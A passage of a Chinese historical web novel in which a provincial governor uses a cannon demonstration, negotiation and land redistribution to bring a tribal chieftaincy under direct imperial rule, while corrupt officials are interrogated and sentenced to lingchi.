车慧清道:“到十月他们的歌舞会一般都结束了,要换的东西也已经换齐备,按理说保宁县的集市该萧条一段时日,但不知大人去城门看过没有,据县令所称,夷人进城还是很多,每天都有人去看告示。” 秦行瞧着段之缙乐,拍拍他的肩膀:“真难为你能想出来这么个招数。” 段之缙心中哼哼,这可都是前人的智慧,无论汉夷只要能分地,效果超群。他又写了一纸文书,言明朝廷改土归流分配土地之心,只要土司愿意接受任命则双方不动刀戈,而倘若土司不接受朝廷的任命,则阻分地者为土司。 他命车慧清按照此意拟告示出来,在试炮之后即刻张贴。 车慧清踌躇不往,问道:“这样是否太咄咄逼人,只怕会造反。” 段之缙将笔墨收拾好,“所以要大大地施恩,起码叫夷民明白,改土归流对土司、对夷族并无什么害处,反而能够世受恩典。到那时,土司还起兵叛乱,就不是朝廷不仁,是他们为一己私利,弃众生于不顾了。” 车慧清恍然大悟,出去吩咐师爷拟文,段之缙就在当地等着试炮之日的到来。 十月十五日,风清气和,段之缙亲去迎接了燧明、兆仁的两位土司,吴阿兰声音洪亮,汉话说得十分流利,眼睛如鹰隼般锐利,眼角漫射出去的细纹更显得她阅历深厚,而其身体显然十分健康,气血旺盛,是一个统治者必备的素质。 一个人的气象往往能看出她的能耐,也怨不得燧明能占据这样大的地盘。 马黎魁梧的像座小山,中气十足,但比起吴阿兰就逊色多了,行事不够老练。 段之缙带着他们观炮台,秦行已经在那里坐定了,段之缙介绍了一番,马黎问道:“大人,不知道所观之火炮在何处?” 段之缙遥遥一指,“就在那里,只是离得太近声音震耳,这才造了观炮台观炮。” 马黎眼睛微眯,果然看见了几座火炮。 段之缙带着二人往东边看,“这是我们提前布置好的人形靶,铁架子用猪肉猪皮包裹起来,等会先用此试炮。” 这主意还是后来想出来的,死猪肉虽达不到血肉模糊的效果,但皮肉烧焦的味道足够引人联想。 “而后我们再用西边的山头试炮,看看几发炮弹能够将其削平。” 吴阿兰看着段之缙胸有成竹的表情,只觉来者不善,恐不是为了震慑。 怀表指针一点点走,午时整,指挥火炮的士兵上来请示,段之缙颔首,两位土司便见士兵手举红旗挥动几下,而后仿若晴冬雷鸣,东方的人形靶子被火光与硝烟包裹,等着再看清时,原本围聚的靶子已经四分五裂。 上次京中阅军他们都去了,当时已觉震悚,这次更觉得恐怖。 秦行拍手叫好,“不错!旗手赏二两,火炮手也赏二两!” 段之缙热情地邀请两位土司下去看看,此地已经一片焦黑,猪肉脆皮都要烧出来了,四溅的炮弹残片入木三分。 “这次不错,准头好!秦大人赏了你们本督也得赏。再试试山头,倘若能在十炮之内轰下去山尖儿就再赏!” 段之缙在这儿兴致勃勃地演,这都是叫开山的老师傅测过的,八炮之内定然能轰平,果不其然,旗手指挥着放第六炮的时候已经差不多了,等到第七炮放出,山头彻底轰平,段之缙便赏了银,回头一看两位土司,吴阿兰倒还能不动声色,马黎脸上的血色却去了。 “二位,瞧着我们朝廷的炮如何?” 吴阿兰回道:“神威。” “今天也没有旁的打算,就是试验火炮,怕声响太大叫你们以为是地动,担惊受怕。现在已经过了午时,大家一起吃个便饭吧。” 段之缙吩咐人带两位土司先去县衙,而后去山头上查看,火药燃尽不留残余后才叫人前来收拾,把土坑填平再和秦先生一起去了县衙。 县衙内等候着土司的亲随,俱被留下用饭,这次没有喝酒,只是谈了朝贡的事情,两位土司不约而同,都说愿意增加贡品。 “别别别,你们的日子也不轻 快,陛下也不缺你们那点东西,咱们安安分分过日子就行。当然,我还真有事情得跟燧明土司谈谈,您要是不愿意就算了。” 她的亲随担忧地看着吴阿兰,吴阿兰镇定一笑,“我们是朝廷管辖的土司,既然总督开口,我自然愿意。” 马黎不知他们搞什么鬼,可人家没留,自己也只能离开。 残羹冷炙都收拾下去,段之缙招呼着吴阿兰喝水,打量她一番道:“你和旁的土司不一样,燧明和旁的夷族也不一样。” 吴阿兰笑问:“大人何出此言?” “你比旁的土司亲善朝廷,朝廷对你的部族也仁爱许多,自然不一样。现在本督有一个天大的好事,算是报偿你遵从朝廷的。” “大人请讲。” 段之缙从袖中取出一本文书递给她,“若你不懂汉文,本督可以给你解释。” 吴阿兰接过,“多谢大人,汉文我还是能看懂的。”她懂汉文,不比读书人差,但看懂之时,神色却异乎寻常地冷了下来。 “我部安分守己,遵从朝廷的命令,我治下也算清明,土司职位也是你们祖先的承诺,凭什么改土归流!” “正因为你安分守己,朝廷才不愿意动刀兵!你是担心你的族人还是担心你自己的荣华富贵?若是族人,你大可放心,朝廷的赋税比你们轻太多,且我们会制定夷律,从此之后按律审理刑名案件,要公正得多。倘若你是担忧自己的荣华富贵,大可不必,因为只有这样才能保全你的荣华富贵。” 吴阿兰凌厉的眼睛闪着寒光,“大人,你这是什么意思?” 段之缙也不怵她,“我新主改土归流之心犹如磐石,倘若你们不肯顺降,就只能是短兵相接了,不仅不能保有世袭土司的职位,更会遭杀身之祸!” 段之缙又道:“凡事有利有弊,燧明地势平坦耕地也多,你治下夷民在保宁县内交换,县令也是睁一只眼闭一只眼,日子比其他的部族强不少。但现在形势一转,火炮在保宁县内架设便能打到你的寨子。你要想清楚,到底要不要为了你之一姓,叫寨子里的众姓受苦。” 吴阿兰的手攥紧,“那我岂不是亏死了?地没有了,赋税徭役也没有了,就剩下一个土司的空架子?你以为我不会放手一搏?” “不,你不会的,车慧清同本督说,你最会审时度势,而本督说的好事就是给你的。”段之缙又拿出了一封文书,递给吴阿兰。 吴阿兰一目十行,敛着眼睛合上,“我会回去考虑。” “本督希望能在十日之内得到答复,而这十日之内,本督命人为你赶制官服。”【你现在阅读的是 】 90-100 第91章 091凌迟极刑 吴阿兰带领亲随回到寨子中,竹辇抬着她,一路上都是似有似无的目光,在她身上瞟一眼,又做贼一样移开。 真怪了。 “你过来!” 她随手指了一个妇人,妇人身子一哆嗦,上前跪下。 吴阿兰问:“你们看我做什么?” 妇人低低地伏下身子,回道:“头人,大家说你要去接受汉人的官位,我们能够分得土地了。”她壮起胆子抬头看土司,带着希冀问道:“我们果真能分地了吗?” “分地?!”吴阿兰讶然,这条件不是刚提的吗?为何寨子中已经有人知晓? 吴阿兰没有答话,问道:“你如何知道的?” 那妇人以为吴阿兰已经应下了汉人的官职,连连磕头,“头人的大恩大德,我们永生都会铭记。这件事是马喜进县城时知道的,他们汉人贴了告示,只要改土归流就给我们分地。头人今天出寨子,大家都说是要分地了。” 吴阿兰神色十分难看,却也没有解释,而是立刻吩咐去草厅,把大小姐和长老们都叫来。 草厅内,吴阿兰将两封文书宣读,她的女儿吴夭娘愤怒不已,对自己的母亲说:“阿娘请了人教我读汉书,汉书中有一句话我永远记得,‘今日割五城,明日割十城,然后得一夕安寝’。倘若我们答应了这个条件,就是割城让地!到时候别说是土司职位,什么都保不住!” “住嘴!”吴阿兰呵斥道,大长老拽着吴夭娘坐下。 她的母亲冷笑:“你以为想保留就保留,想怎样就怎样?!你知道阿娘在保宁县看到了什么吗?火炮落在咱们寨子中,人就跟生猪一样冒烟了。” 大长老迟疑道:“我看头人似乎已经有了决断,只是这么多的土地和财富拱手相让……” “不!我们不会拱手相让……我们给其他的部族做出了改土归流的表率,汉人就该叫我们世世为官。大长老,我们是好欺负的,但是西南的土司必然要造反,一旦被汉人平叛,原来的首领一族就会被屠戮殆尽,这些土地应该叫我们这种彼此深知的人来接手。” 吴阿兰向在座的诸位保证:“倘若汉人的总督不答应,我绝不会同意改土归流。” 有了朝廷的帮助,定然能够战胜地势的不利,向西南扩张势力,即便没了军队能够治理一方,这样的条件倒不难接受。 吴阿兰又和几位长老商量一些具体的条件,便叫众人回去,她已经累了,需要好好歇歇。但吴夭娘踌躇一会儿,还是走了回来。 “阿娘……” 吴阿兰睁开眼睛看着她。 “倘若可以,叫金腾回家来吧,他在北方已经好多年,我都要忘了弟弟的模样。” 吴阿兰把女儿有些歪了的佩剑摆正,“如果可以,我会跟汉人总督提的。” 既然已经做好了打算,那也不必等足十日,吴阿兰给保宁县知县送了信,于二十日再入保宁县衙,段之缙早就在前衙等候。 “总督大人,咱们还是直接聊正事好了。想叫燧明改土归流,可以,但是你得答应我的条件。” 段之缙为她倒上茶水,“请讲。” “第一,地不能全分,一半的上等地要留给我的家族,中等地要留三分之一,下等地可以全分。” 段之缙当即拒绝,“可以不全分,但你们家族总共多少人,普通人又有多少?留这么多不可能。到时候清丈土地人口,估算每亩田地的产量,可以将总产十分之一的土地留给你们。你得明白,分出去的土地要课税,但因为你有了官职,你们家族的土地是不用课税的!” 吴阿兰本就没想留那么多,此时十分之一也能接受。 “第二,你的告示叫我在诸多寨子中的名声动摇,授官那日,我要你进我的大寨,亲自给我带上官帽。” “可以。还有吗?” “兵可以解除,但是我要留下五十名亲随,并且解除的族兵虽不听我的调令,我仍要知道他们的去向。” 段之缙笑道:“你想知道的也太多了,我只能告诉你,他们会被打散编入各个营地,组成一只单独的土兵。具体如何,我却不能跟你说。” “我是他们的头人,他们的去向我都得知道。” 两个人又在这上边扯皮,最后双方答应,将一部分土兵和汉兵混合后驻扎在燧明各寨中,其余人的动向她却不能知道。 段之缙说得口干舌燥,茶水喝了一壶,最后问一句:“你还有什么要求一块儿说了吧。” 吴阿兰先说了昨日与长老的承诺,又道:“我的儿子金腾在你们理藩院的传文馆中居住,改土归流后,求朝廷叫他回燧明与家人团聚。” “这两个我不能做主。等你做了朝廷的官员便知,一切官员任命都要朝廷的批文,你这官职的批文都得后补,更何况你族亲的批文,我不能做任何承诺。你儿子在京中学习,能不能回来也得看陛下的旨意。不过你所言皆有理,我今日就写奏折向皇上提议,。” 吴阿兰道:“那就等吧,等着你们大皇帝答应了,大人可以通过县令与我通消息, 我们正式交接。” 段之缙颔首送她出去,心中默默估算着,这样的条件皇帝应当能够接受。 燧明的事情告一段落,段之缙先命车慧清寻找能够丈量土地的人手,又以总督衙门的名义发布告示,言明燧明已经做好改土归流的准备,朝廷将为他们分配土地。 燧明的夷人奔走相告,消息一路传向兆仁的地界,掀起了轩然大波。 但是段之缙没有再做任何表示,启程回了总督衙门,秦先生早就回到了总督衙门,熊、泰之案已经审了七八天。 段之缙回去后先叫包诸替他写奏折和题本,包诸果然是专业人士,奏折写得合乎规矩还不失亲昵,所奏之事细处全都说明,而题本则公事公办,条理清楚。 奏折附上茶饼和一点饵块递往京城,题本却要慢一步。 熊、泰二人的案子严重,秦行亲自审讯,到今日为止供词和物证已经拿到,他们平日搜刮之暴虐,治民之无道也已经查清楚,具体的事情还得接着审问,尤其是贪污的钱款还需问清。 说不得段之缙自己也要审案子,便进入牢房中旁观,秦先生正在问熊计舒受贿一事。 三木之下,何求不得?秦行一向不屑于动刑审案。 现在二人对坐着,熊计舒一身囚衣,秦行坐在太师椅上,小吏拿着纸笔记录。 “送到你妻弟家的黄金有多少两?分几批?都是什么时候送过去的?” 熊计舒抠着手指上的皮,眼神游离,“一共是一千锭十两制的金锭,第一批是他下聘的时候送过去的,混在添给他的聘金里边,这次是一百锭……” 秦行问完,又问谁给他送过钱,问了乱七八糟许多东西,而后突然厉声询问:“第三次你给你妻弟多少金子?快说!” 他疾声厉色,熊计舒喊道:“二百两,二百两!” “是二百锭吧?” “对,对!是二百锭!” 秦行神色一冷,怒道:“你放才说的可是三百锭!” 熊计舒神色慌张,“罪臣记错了……” 记录在手心拍拍,秦行怪笑一声:“你没记错,第一回说的就是二百锭。” “你人头落地是免不了的,钱有处藏没处花,尽快交代了我替你求情,给你个痛快点的。别惹恼了皇上判个凌迟处死,那罪可不好受。再想想你的父母族人,不要拖累了他们。” 秦行说到此处,又补充一句:“给你行贿的人有哪些,我多少能猜到几个,他们主动交代了是戴罪立功,你被交代出来却是怙恶不悛。” 连哄带吓,红脸白脸叫他一个人演尽了,熊计舒秃噜出来不少东西,秦行连夜和其他的供词核对,这回儿说的可是真的了,于是把目前的供词俱折上表,开始传供词中提到的官员问话,不过雷声大雨点小,问完之后还好生安慰,全都放了回去。 段之缙带着刑名师爷全守珍看了好几日,全守珍看得两眼放光,他又听段之缙称秦行为先生,便知这二人有旧,更不客气,恨不得和秦行躺一张床,弄得师生二人十分尴尬。 熊、泰等仍在审问,秦行突然行动,抓了一大批官员,完全不把当初的承诺当回事儿。本来就是缓兵之计,对于秦行来说自然做不得数,这次一网打尽也不担心他们销毁证据。 段之缙离了总督衙门,前往盐运使署和席季商量燧明、兆仁用盐的问题,然后又跑到统领的督标和监管的军营巡查,尤其是去查看中营火|药的试验。 卢肖明这次呈上了许多罐,里边不同大小的微粒还是用不同液体胶合的,段之缙命他详细说来。 “这是用水压成的,制备之时最安全也最廉价,但是阴干慢。这个是用烧酒黏合,干得很快,颗粒也够坚硬,但是烧酒太贵,而且制备之时有些危险。这一罐是用糖水黏合,最坚硬,而且奇得很。” 段之缙忙问是怎么回事儿,卢肖明说:“用糖水混了以后,火|药烧起来不猛,用在引信上最合适不过,这样就不那么容易炸膛了。” “只是可惜,用了糖水容易受潮,不仅价贵还容易浪费。此外,下官发现,鸟铳里的火|药用小粒为好,开花炮用大粒儿威力更大。” 段之缙对这次试验的结果很满意,叫他们填充弹药给自己演示,这次的□□铁皮上还刻了凹槽,爆炸之时铁片飞射,能把人射成筛子。 鸟铳的射程也更大了,比重弓更得用。 看着一片狼藉的演示场地,段之缙欣喜万分,“制备者何人?” “是这里炸山的老人,他平日里为朝廷开矿炸山,对着火|药比我们的炮兵都熟,名为刘双兄。” 段之缙没有召见,只是吩咐不要亏待了刘老人,又回总督衙门命包诸写折子上奏,这次只写奏折不写题本,又送了两块茶饼。 秦行此时进来,手里拿着回折,瞧包诸又在俱折,打趣道:“旁人上次折子战战兢兢,等折子的日子能把自己吓死,偏你这么爱写折子,生怕皇上忘了你。” 段之缙接过回折,边拆边回:“怎么能是怕皇上忘了我?我是怕自作主张,叫皇帝恼了我。”而后与秦行一同览阅,皇帝倒也是放心,只叮嘱段之缙不要急功近利,注意各方动向,他的提议倒是全准了。岳飞转世一事也毫不客气,吩咐道:“将转世写成我朝太祖皇帝。”那金人不就是赤砂了? 最后一句话说火腿没人爱吃,下次不要再送了。 合上折子,秦行拉着他嘱咐:“这些日子还是不要出去了,问哦的那份折子也要送回,咱俩看看熊、泰的处置,万一陛下不肯放过南诏的官员,事务重新安排起来,还得你在总督衙门坐镇。” 段之缙答应下来,又奇道:“怎么先生的折子回的那么快?” 秦行自得一笑:“自然了,皇上恩准我用八百里加急,自然比你快得多。你上次的折子,还有十来天才能送到呢。” 可皇帝的回折送过来,却难说是好事还是坏事。 “朕览刑部折子,凌迟分八刀、二十四刀、三十六刀、七十二刀、一百二十刀几等,拟给熊、泰二贼用一百二十刀的重刑。朕思凌迟又为“千刀万别”,不知最多能割多少刀,下旨从京里调老刽子手刘三麻去南诏行刑,俱尚书所称,此人手艺最好。翰林院郑楒璟诗作超群,此次随行监刑,俟两人到后叫两省从四品以上官员共同观刑,郑楒琅为朕撰文。” 第92章 092燧明置县 段之缙将新的折子装好叫他们送出,转头看秦先生,问道:“陛下平日也这样吗?” 人登基之后,脾气怎得如此坏?偏偏暴戾中又带诙谐,叫人闹不清是真好奇能割多少刀还是在阴阳怪气。 秦行搓了搓手,叹口气,“陛下是急着改制,才爱用些出奇法子。葛礼的案子尚在查,他的一个族弟在审讯时屡屡耍滑头,还转移了脏银,惹恼了陛下。” “而后呢?” “而后?也不用等到秋决,陛下说这种人惯会说谎,普通的刑罚是便宜了他,吩咐刑部用锈铁钉钉穿了他的舌头,又把他钉在城门上示众。” 段之缙震悚,“是活着钉的?” 秦行又开始掏烟枪,一边吞云吐雾一边点头。 他自进了端王府烦心事儿少,许久不曾抽烟了。可皇帝登基后,又开始抽了起来。 他是不太认同自创刑罚的,但对于那些偷奸耍滑的混蛋,不用点出奇手段还真吓不住他们。 秦行烦躁得很,想劝皇帝,也不知道该说些什么,只能宽慰自己,顺带宽慰段之缙:“皇帝不是暴虐的性子,今年秋审的时候,给地方下旨把判斩监候的犯人送京重审,又不准动刑,果然有冤案发回重审,连带着该省上下的官员都吃了瓜落。还定了新的章程,凡是斩监候之罪,秋审之时一律送京重审,想来能 避免不少冤案。” 说着又想起了什么,“我听尚书说,陛下未及弱冠之时,先帝命他去刑部审案,那牢头不会上夹棍,两下就把犯人的脚弄断了,还将陛下吓哭。” 段之缙揉揉自己的手指,当时哭,也不妨碍着现在好奇凌迟最多能割多少片。段之缙默默打算,等着这段时日度过去,若纪禅还总是用这种出奇手段恐吓官员百姓,就得上表劝一劝。 以刑罚威慑人,到底不是长久之计。 之后段之缙去找了陆角等人,吩咐他们让岳飞转世成当朝太祖,而赤砂就是金人,前朝的皇帝和他的亲信就是秦桧等人,接着编写。 陆角他们笔下有功力,大鹏鸟第一世的境况能把人气得七窍冒烟,第二世又能让人拍手称快,最后一百回讲完,竟有些意犹未尽,怅然若失之感,只因段之缙特意吩咐了陆角,结局不能太圆满,要叫太祖惦记着西南、西北各方的乱象,最后充满遗憾地离世。 而太祖的遗憾,正需要当代人解决啊! 这一回儿的本子堪称完美无瑕,段之缙命名为《大鹏鸟传奇》,找来几十位贫寒士子,几日之内抄出五十余本,不仅要在酒楼里讲,两省各营都送去了几本。 做完这些事儿,段之缙也该去提督的南诏军中巡视一番,到任三个来月,这一部分听自己调令的军队还没见过,只是在去之前,还要请南诏学政吃饭,同他商量派部分廪生入军营宣讲的事情。 段之缙总辖两省,大事小情无一不管,可偏偏学政一职非同寻常,一般是六部侍郎或翰林院高官被派驻地方,不算真正意义上的地方官。其办事衙门配备关防大印,与总督衙门户互不相干,也不听总督的指挥。为防止产生冲突,这两个衙门的人也会自觉减少碰面。然而现在有事相求,段之缙只好在总督衙门请客吃饭。 提督学政和微是礼部侍郎出身,清贵人家,席上只见茶不见酒,他素来不与人为难,段之缙一说,和微就答应下来,“叫他们入军营宣讲倒是没问题,只是路费和住宿如何解决?” 段之缙承诺道:“住在府衙中,吃穿住行都是官府承担。” “我自然是答应,只是学政三年一任,明年我就要回京去了,下一任学政可不一定能答应。” “多谢和兄提醒,我会找时机给陛下上折子。” 宾主尽欢,段之缙亲自送和微回去,又命人去给南诏提督向古送信,自己于十日后去南诏军中巡视,不仅带上了《大鹏鸟传奇》的底本,还带上了一车四书五经以及叫陆角他们编写的土司作恶的故事。 提督是地方武职,手下三四万南诏军,是从一品封疆大吏,官职要比总督高一级,军队指挥却只能听总督的调令,为此朝廷会给总督加上兵部尚书或者大学士的衔,为从一品或正一品官职,以防出现级别高之提督听命于级别低之总督的事情。 但段之缙太年轻,皇帝叫他出任总督已经够惹人非议了,便没有加衔,想等着他改土归流后 论功行赏,到时候堂堂正正加上兵部尚书的头衔。 现在级别高的要听级别低的,两人相见俱有些尴尬,对视一眼,神情古怪。 向古亲手给他沏了茶,段之缙连忙接过,商量道:“您是南诏军的首领,节制全省各镇,有些事儿要做,还得跟提台大人商议一番。” “您这话说的,我虽为提督,但南诏、岺州二军,说到底还要听总督大人的号令,凡事我们商量着来,但倘若与朝廷的定制相悖,恐还要先请示一番。” 段之缙连连点头,“您说的是。” 他从怀中掏出陛下命他先斩后奏的折子,接着道:“这是陛下的恩典,只是我们做臣子的到底不能妄自尊大,所以,倘若在要紧事上没注意到,还得您提醒我。” 向古接过折子细看,朱批御笔,没人敢在这个事儿上骗人,这才放下心来,到时候出了什么差错也是总督担责任,和自己这个提督没关系,因而笑道:“既然制台大人有圣命在身,我便遵从。想要如何,听大人安排。” 段之缙连连摆手,“不敢说安排。”他命王章将东西都打开,跟向古介绍一番。 “我听说西北用兵的时候,往往会用诸葛武侯或是卫青、霍去病的事迹激励士兵,很有效果。这种东西,临阵磨枪不如平日里潜移默化,即便没有用也是个新鲜事物,添个乐趣也行。” 向古拿过《大鹏鸟传奇》翻看,奇道:“我在西南多年,倒是没有听说过此种激励士气的法子,既然大人有这个想法,便试一试吧。” 段之缙摸摸鼻子,向古自然没有听说过这个法子,这都是他现诌出来的。 向古又捡起几本四书五经,问道:“不知这些四书五经是什么用处?” “这些四书五经,是给小军官们看的。他们多是立了战功的士兵升上,很多人大字不识一个,忠君爱国的道理也不明白,但他们和士兵们最为亲密,教化好他们,也能教化好士兵。” 向古称是,“只是不知如何教导?” 段之缙答道:“我已经跟学政说好,不参加下一场乡试的府县廪生按月到军营中宣讲,一月四次。只是大人还要注意,不能叫他们随便走动。” “当然,这些都是次要的,最重要的事情还是皇命。” 向古正色起来,便听段之缙道:“离京之前,陛下千叮咛万嘱咐,叫我以改土归流为首要之事,方才的折子您也看了,只要能改土归流,许我先斩后奏之权。这事儿说起来简单做起来却难,土司世代盘踞此处,怎么会轻易放弃世袭权力?我听说往西南走,土司更是穷凶极恶,必然会反叛。之前巡查了督标三营和守军等营地,兵力到底有限,土司反叛肯定应付不过来。” “所以你们要加紧练兵,或许我们得先发制人。”他将一份笔记递给向古,“这是督标中营试出来的火|药制备方法和优劣对比,你们要抓紧时间安排妥当。等燧明改土归流之后,每一个土寨都要驻扎一支鸟铳小队,以五十人为限,其险要之地安排火炮。” 向古问:“不知燧明何时能够改土归流?” “进正月之前,定然能够成功。”吴阿兰的条件还要在朝中商议,即便是快马加鞭,也得十二月底才能到南诏。 向古要做的,就是在十二月底之前训练出足够的火铳手驻扎燧明各寨。 但圣旨比想象中来的更快底,十二月初圣旨连同回折一起到了总督衙门,同意了吴阿兰的要求,她的儿子金腾将在来年春天起行回到燧明。 此外纪禅还殷切叮嘱,燧明改土归流之后,先不要急着将其他的部族改土归流,宁愿不要明年的朝贡图其他部族安分,也要先把燧明安顿好,开一个好头儿。 这正是段之缙的想法,他也害怕纪禅上了头,想要乘胜追击,结果燧明没安顿好,留一地鸡毛。 圣旨到后,段之缙就通知了吴阿兰,两人在黄历上挑了个好日子,段之缙入大寨授予吴阿兰官职。 那一天,抬了全幅总督仪仗,车慧清与之同行。 南诏冬天不如京城寒冷,但昼夜温差极大,段之缙钻进轿子时穿着大毛 衣裳,等中午到了寨子时,大毛衣裳已经垫到了屁股底下。 路上不见半个夷人,许是被这连绵不绝的仪仗吓回了家中,直到段之缙准备宣旨的时候,才有一两个偷偷地张望。 吴阿兰率领她的亲族跪受圣旨,段之缙念过前边那些套话,步入正题。 “……革除土司旧治,改设燧明县,隶于克西府管辖。” “原燧明土司吴阿兰,恪守臣节,倡行改流,功在社稷。着保留其土司职衔,世袭罔替,以示朝廷怀柔远人之意;加授燧明县知县,准其兼领燧明县之务,协同府道,绥靖地方,用彰殊荣……” 等着颁布完圣旨,周围陆陆续续围上了人,段之缙当着夷民的面,将青色官服罩在吴阿兰夷服之外,为其加官帽。 他将跪着的吴阿兰扶起,提醒道:“你既然已经领受了朝廷的官职,提的要求也得到了满足,我们约定的条件也该兑现。正月之前,你所领土兵必须全部上报,朝廷会在你域中各寨驻军。你作为知县,要配合知府清丈土地人口,在明年耕种之前分地造册。” 吴阿兰爽快地答应下来,也不忘提醒段之缙,“大人同我亲族的约定也不要忘记。” “自然。” 段之缙看看周围的夷人,高声道:“跟朝廷的人,要实话实说,清丈的土地越多你们每个人分到的土地就越多!” 周围爆发出一阵阵的欢呼。 今日的事务就算完成,段之缙带着车慧清回去,即刻开始安排事宜。 “第一等的事情是要叫朝廷的军队驻扎进去,吴阿兰所在的大寨要驻扎五百人,其中一百人要是鸟铳手。其余寨子分为大中小三等,大寨驻扎三百人,依次减一百人。清丈土地的时候,要带着舆图官,把燧明的地势全都画下来。” 车慧清问道:“清丈土地倒不难,只是分配之时是按人头分还是按照户分,还请大人指示。” 段之缙思量一番,回道:“按照人头分配吧,标准就一个,无论地多地寡,最后分得土地的总产要差不多一致。这事儿不可能做到人人满意,吴阿兰素有威望,叫她来和夷民沟通,你们不要强出头。” “那只只分女户,还是男女均分,幼童需要分吗?” 内地都是男人留家,女人们出嫁随着丈夫走,灾后重新分地是轮不到她们的。 “不能照搬中原的规矩,燧明都是走婚,男男女女都要留在家里,一家都是一个姓氏,男女都算上分地人口。至于幼童……还是不分了,只给十五岁以上的成人分地。明儿就得跟百姓说明白了赋税徭役等情况。” “第二等的事宜,要抓紧时间摸清夷人用的刑名之法,定在纸面上上报朝廷,颁布夷律。本督的想法是,大雍律中官员犯罪的条文可以直接用,但是如杀人、强盗等罪名还得根据他们的风俗来,可以叫他们的百姓自己提。但是也别事事遵从他们的风俗,用牛抵偿人命就绝不可行。” “等着前两件事儿完成之后,就在燧明县内建学堂,叫吴阿兰的亲族学圣贤之道。” 车慧清领命照办,营地的驻兵也已经到位,舆图官记录好地形后,择要紧之处架设火炮,而仅隔一条河的地方,就是兆仁地界。 来来往往的官兵和风风火火的分地行动叫兆仁的人心浮动起来,马黎坐立不安。 第93章 093立储风云 兆仁不是燧明,他们和朝廷的关系若即若离,尤其是上一任土司离世之后,这一任土司马黎还很年轻,总会有一些脱离朝廷的想法。现在一河之隔的燧明架起了火炮,派驻了官兵,他的心里就七上八下的。 现在又闹出了分地,寨子里边人心浮动,这不是什么好事情。 议事厅内兆仁的贵族集聚一处,有些长老以为应当效法燧明,有些却认为汉人想要彻底收服燧明都得耗费一段时间,更何况腾出手来对付兆仁呢?根本就没有必要自请改土归流。  那胆小的嚷嚷道:“上次试炮回来,土司和我们说的话你难道都忘了吗?火炮可不是一般的东西,一炮射过来,谁承担得起?而且我打听到了,吴家的土地也不是全分了,还保有了十分之一呢。” 马黎的族弟却不以为意,轻蔑道:“你的脑子跟果子那么大,吴阿兰却不是一般人,她能这么轻易把地分出去?你未免小瞧了她!就算当时没想法,现在也必然能有后招。再说了,汉人都不急着劝我们改土归流,你急什么?先看形势。” 两边人吵起来,马黎一拍桌子,“够了!先观望观望,也不至于说我们提议晚了,他们就要动刀动枪。” 事情便这样缓下来。 段之缙也有意暂缓,先安顿好燧明积累经验,且这两省的事情也不能总交给蘋儿做,自己倒成了甩手掌柜。这些日子就回了总督衙门,远远地盯着克西府的动向,查看两省的税收。 今年的人丁增长不多,人头税增长也不多,不过气候倒不错,田赋多少增加了点儿。 只是这税收也太恰好了,怎么增加多少人就能收到多少人的人头税?这人能跑能跳,来来往往都是常事,征人头税很麻烦,数字对不上才是正常的,对上了反倒不正常。 蘋儿倒是没想到这点儿,只觉得税目征齐即可,段之缙叫来宗怀宁询问,宗怀宁古怪道:“这是看破不说破的事儿。” 段之缙玩笑道:“那怎么办?你凑到我耳边说?” 本就是耍玩笑的话,宗怀宁还真答应了下来,段之缙尴尬地挪一下椅子,示意宗怀宁凑过来。 宗怀宁的吐息刚往他耳边吹,他就一个激灵往后撤,“不行不行,这儿总共就三个人,你直说就是,有什么好看破不说破的?” 宗怀宁叫段之缙一个大撤退吓了一跳,自己丈二金刚摸不着头脑,这凑到耳边说不是总督的主意吗?他怎么还恼上了,打开天窗说亮话,“女人家生孩子,咱们又不能钻到炕底下抓,如何能个个都入册?” 段之缙摸到了点门道:“这么说来,这人数是假的了?” “怎么能说是假的?这是咱们能找到的。”宗怀宁一副你懂我也懂的表情,段之缙又问道:“找到了那么多,这人丁银又是怎么回事儿?恰巧就匹配的如此好?” “这就是另一回事儿了。其实收不到这么多人的人头税,但是催征嘛,总是有些火耗、杂税什么的,能补到人头税上。” 原来是靠辗转腾挪。 人头税单个人看起来不多,一家好几口,不能出劳力的孩子和老人加起来可就不少了,他忽然想到溺婴一事,厉声问道:“府县溺婴多吗?” 宗怀宁一楞,笑道:“大人说的什么话?哪个地方不溺婴?越穷的地方溺婴越厉害,交不起人头税还能如何?” 人头税,人头税…… 倒真是个大问题了。 这里不如淮宁一带富裕,偏偏越是穷苦越能出大地主,除了土司之外,汉族中丁家在几个府县都有田地,达上万亩之多,雇农无数,他们的依仗就是先帝的帝师丁元敏,当今陛下的壶中日月园就是丁元敏未致仕时的财产。 此外,还有几个家族,占地广阔,和丁家来往联姻,也算是一方豪强。 而这里最要紧的盐矿税收是朝廷掌握,南诏的百姓也多以此为生。自耕农少而大地主多,普通百姓从事盐业矿业不过是卖劳力,压根赚不到什么钱,人头税却都是他们交。 想要解决这个问题,首选还得是摊丁入亩。 只是想得轻巧,一边改土归流一边摊丁入亩,非得闹出来祸害。段之缙思来想去,朝廷也不指望着人头税来过日子,不如就此征收定额,滋生人丁永不加赋,既能叫这些人松快些,也是新朝新气象,等着到了春耕时再上一份折子。 燧明县的事情有吴阿兰配合,推进地很迅速,分地一事差强人意,总算赶在春耕之前完成,燧明家家户户也算是有了两亩薄田,人人喜气洋洋。土兵也都拆 散开打入兵营。 而郑楒琅和刘三麻一路南下,终于到了南诏。 他们二人不算是钦差,自然也没什么排场,千里迢迢到南诏来,就是为了行刑。郑楒琅奔波一场,脸色煞白,想想自己的差事,更是吃不下去饭。 段之缙安顿好刘三麻,带着郑楒琅去了后衙,他倒是欢喜,因为郑楒琅还给他带来了家书。 “总归是我赶路快些,伯母就托我带来了。” 段之缙沈白蘋一块儿看,有喜有悲。 喜的是段云霓已经有了身孕,悲的是连科,这只十多岁的猫儿终于走到了生命的尽头。 信中夹了一撮白色的猫毛。 段之缙和猫儿相处的时间不算很多,可锁儿一下生就和猫处在一块儿,刚来南诏的时候还总记挂着连科,现在想再见却不能了。 段之缙用一个空荷包装好猫毛,等着捻在线里做成一个小荷包给锁儿挂上,这样也算个念想。 郑楒琅瞧他们夫妻心情不好,也没扯着他说公务,自己出去寻找秦行说陛下的指示,等着商量好,再和段之缙说说。 翌日三人凑在一块儿,商量行刑的事情,郑楒琅看一眼秦行,跟段之缙说:“陛下的意思是等着案件查清后,将其供词和罪证等送回京城,直接在南诏行刑,其余牵连的官员俱赦免,但观刑的时候给他们安排‘雅座’在最前边看。” 段之缙问秦先生:“先生审完了吗?” 秦行沉重地点点头。 “那于何处行刑,陛下可有指示?” “只说是能叫官员们坐开就行。” 秦行拿出来烟枪填装,点上烟丝,而后提议道:“城东吧,地方不小。” 段之缙想想也是,刑场便设在那里。 